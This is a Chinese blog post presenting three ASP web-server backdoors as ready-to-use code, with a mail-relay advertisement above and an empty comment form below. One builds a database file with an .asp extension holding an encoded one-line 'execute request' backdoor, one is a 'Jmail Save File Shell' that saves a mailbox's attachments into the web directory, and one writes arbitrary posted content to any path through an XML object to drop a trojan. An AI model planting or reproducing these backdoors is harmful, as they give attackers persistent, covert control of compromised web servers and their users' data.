兄弟的博客-【兄弟波段趋势操盘】-几款最新另类的ASP后门 -

海外邮件中继，海外退信中继，美国高速VPS，不限流量VPN，邮局维护和管理，邮件网关，EMOS邮件中继，POSTFIX邮件中继，Winwebmail邮件中继,Winmail邮件中继,DBMail邮件中继,JDMail邮件中继,Exchange邮件中继,MDaemon邮件中继淘宝店：http://shantan.taobao.com 云邮科技官网：www.yunrelay.com

【字体设置：大中小】
利用的是ADOX.Catalog组件


程序代码
<%
'code by netpatch
dim dbfile,sql
db="netpatch.asp"
dbfile=server.MapPath(db)

set ydb=server.CreateObject("ADOX.Catalog")
ydb.Create "Provider= Microsoft.Jet.OLEDB.4.0;Data Source=" & dbfile
set ydb=nothing
if err.number=0 then
Response.Write dbfile & " 创建成功<br> "
else
Response.Write "创建失败，原因： " & err.description
Response.End
end if

Set Conn = Server.CreateObject("ADODB.Connection")
Conn.Open "Provider= Microsoft.Jet.OLEDB.4.0; Data Source=" & dbfile

sql="Create TABLE fdata([data] Memo)"
conn.execute(sql)

Set rs = CreateObject("ADODB.RecordSet")
rs.Open "FData", conn, 1, 3
rs.addnew
rs("data")="攠數畣整爠煥敵" '(注释记得去掉！一句话后门 execute request(“n”))
rs.update
%>

用Jmail写文件进硬盘


程序代码
<%
 'codz by kEvin1986 [S4T]
 User=Request.Form("User")
 Pass=Request.Form("Pass")
 Popserver=Request.Form("Popserver")

 if User<>"" and Pass<>"" and Popserver<>"" then
 Set objmail = CreateObject( "JMail.POP3" )
 objmail.Connect User, Pass, Popserver

 set objmsg=CreateObject("jmail.message")
 Set objmsg = objmail.Messages.item(1)
 separator = ", "
 response.write "Attachment Name is: " & SaveAtta & "<br>"
 objmail.Disconnect
 End if

 Function SaveAtta()
 Set Attachments = objmsg.Attachments
 separator = ", "
 response.write "The size of this Attachment is: " & objmsg.size & "<br>"
 For i = 0 To Attachments.Count - 1
 If i = Attachments.Count - 1 Then
 separator = ""
 End If

 Set Theatta = Attachments(i)
 response.write Theatta.Name
 Theatta.SaveToFile(Server.Mappath(".") & "" & Theatta.Name)
 Response.write "Oh!Hey Guy.....That's OK!"
 Next
 End Function
%>

<Html>
<Head>
<Title>Jmail Save File Shell</Title>
</Head>
<Body>
<Center>
<Form Method="POST">
User: <input name="User" type=text value="kevin1986"><br>
Pass: <input name="Pass" type=text value="1986lovinghuan"><br>
POP3: <input name="Popserver" type=text value="pop.163.com"><br>
<input type=submit value="Get the Attachments Of the First Mail">
</Form>
</Center>
</Body>
</Html>

利用xml写马


程序代码
<%on error resume next%>
<form id="form1" name="form1" method="post" action=''''>
<p>木马内容</p>
<p><textarea name="flashboy" cols="80" rows="10"></textarea></p>
<p>路径</p>
<p><input name="textfield" type="text" size="50" /></p>
<p><input type="submit" name="Submit" value="提交" /></p></form>
<p><%Response.write "本文件绝对路径"%>
  <%=server.mappath(Request.ServerVariables("SCRIPT_NAME"))%></p>
<%
dim xmlString
dim xmlDoc
xmlString= Request("flashboy")
set xmlDoc = server.createObject("Msxml2.DOMDocument")
xmlDoc.loadXml(xmlString)
f=Request("textfield")
xmlDoc.save(f)
set xmlDoc=nothing
%>

暂时没有评论

发表评论 - 不要忘了输入验证码哦！

作者：

用户：密码：我要注册验证码：
为防止广告注册机程序,验证码不会自动显示,请点击此处显示或者(刷新)验证码!

评论：

禁止表情
禁止UBB
禁止图片
识别链接
识别关键字
确定发布？


最多可以输入200个字,目前你已经输入了0个字;你今日还可以发表10条评论!